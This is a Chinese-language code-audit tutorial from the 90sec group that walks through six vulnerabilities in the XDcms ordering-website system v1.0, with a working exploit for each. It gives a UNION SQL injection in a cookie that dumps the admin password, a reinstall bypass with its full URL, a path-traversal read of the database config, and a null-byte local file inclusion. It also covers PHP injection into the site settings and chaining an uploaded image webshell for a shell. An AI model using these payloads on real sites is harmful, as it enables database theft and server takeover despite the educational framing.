前 言
90sec为了促进交流建立了N个兴趣小组。90sec代码审计小组 因此诞生了,
小组商议给出一部代码审计的入门级实例讲解教程,让新手基友能更快的找到兴奋点,让老
鸟也找一下温存。嘎嘎。。。。。。。
分析目标
XDcms订餐网站系统 v1.0
XDcms订餐网站管理系统,主要使用Php+Mysql+Smarty技术基础进行开发,采用OOP(面向对象)方式进行基础运行框架搭建,集成在线订餐、团购、积分商城、优惠券、新闻、在线订单、在线支付、生成订单短信/邮箱通知、点评、Google电子地图、问答、并与支付宝、Dz论坛、短信平台接口完美整合等功能于一体的完全开源的高级订餐网站管理系统。作为国内最受欢迎的PHP类订餐网站系统之一,XDcms在不断提升用户服务、提高产品质量的同时更加注重用户体验。从系统研发至今,历经了数百次的更新修改后,网站的架设与管理变得更加轻松及便捷。
官网:http://www.xdcms.cn/
下载地址:http://ftp.91736.com/dccms/v1.0/sys/xdcms_dc_v1.0.zip
您将学习到的案例有
1、 COOKIES 注入代码分析与漏洞利用(利用工具的使用);
2、 全局变量的覆盖代码分析与漏洞利用;
3、 后台任意源码读取;
4、 本地包含代码分析与漏洞利用;
5、 后台getshell 代码分析 与利用;
6、利用二次漏洞拿shell。
案例1
COOKIES注入分析 (为了方便区别代码部分采用贴图,实例代码请大家自己下载源码查看)
文件:/ system/modules/member/index.php
代码:
$userid=$_COOKIE['member_userid']; //用$_COOKIE接收,未做任何过滤
$info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid");
//直接带入到sql中查询。没有单引号不用考虑GPC
利用工具:
火狐浏览器 + EDIT COOKIES插件(下载地址请百度)
利用方法/步骤:
1、/index.php?m=member&f=register 随便注册一个账号并登录;
2、/index.php?m=member&f=edit 进入资料管理页面
3、在浏览器上选择工具 -> EDIT COOKIES插件打开
因为是本地测试所以IP地址为127.0.0.1 找到member_userid -> 点 EDIT进行编辑
语句:-6 Union seLect 1,2,username,4,5,6,7,8,9,10,11,12,password,14,15 fRom c_admin
-6这个6是你的ID
然后刷新一下直接爆出管理员密码
前几天发的那个今天发现管理员修补了,可是管理员这补的根没补是一样的。
案例二
全局变量的覆盖
文件:/ install/index.php
代码:
代码的意思是把传入的变量数组遍历赋值,比如 $_GET[‘a’] 赋值为 $a
Ok 继续往下看
传入一个insLockfile判断是否存在。问题在这
利用方法:http://www.2cto.com /install/index.php?insLockfile=1 ( 官网演示之)
将直接跳过判断进行安装。
此时安装的sql数据库文件会记录在 /data/config.inc.php
利用poc:找到可外连的 mysql (自己去爆破)
直接访问此地址
http://www.2cto.com /install/index.php?insLockfile=1&step=4&dbhost=localhost&dbname=xdcms&dbuser=root&dbpwd=&dbpre=c_&dblang=gbk&adminuser=yaseng&adminpwd=90sex
加粗部分填写配置 直接绕过 重装
案例三
后台任意源码读取
漏洞文件:system\modules\xdcms\template.php
初看了下后台木有getShell 的地方,ok 还是来老实审计代码吧。
在xdcms 目录下看到鸟 template 文件,目测是后台模板编辑,访问之
http://127.0.0.1/coder/xdcms/index.php?m=xdcms&c=template
额 xdcms 真心有些贱了,写了模板编辑后台又不实用
访问 http://127.0.0.1/coder/xdcms/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
Mysql 连接信息
案例4
本地包含漏洞
文件:/api/index.php
代码:
问题参数$c 有一个safe_replace函数我们追踪一下看看
这个等于没过滤一样的。
利用方法:http://www.2cto.com /api/index.php?c=xxxxxx%00 xxx代表网马地址%00是截断
案例5
后台getshell 代码分析
文件:/ system/modules/xdcms/ setting.php
代码:
又是用foreach来数组遍历附值。这里的$info['siteurl']是没有经过处理就直接写进来了。
利用方法:/index.php?m=xdcms&c=setting
测试我就只加了这个phpinfo ');?><?php phpinfo();?>
效果
因为有单引号,所以这个方法有点鸡肋。
案例6
利用二次漏洞利用配合拿shell
思路:结合案例4的本地包含。再在后台上传一张图片马直接拿下。
效果:
图片马的内容
上传后得到的地址:/uploadfile/image/20120624/xxxxx.jpg
http://127.0.0.1/xxoo/api/index.php?c=../uploadfile/image/20120624/iis7.jpg%00
好了直至到此,代码审计的初级教材也算完结了。
本教材归总一下就是、注入、变量覆盖、任意读取、本地包含、GETSHELL、二次漏洞(也可以叫二次利用)
代码审计/文档编辑:Yaseng 缘灭 90sec代码审计小组出品
注:此教材纯属于技术交流/学习。请勿用于非法途径。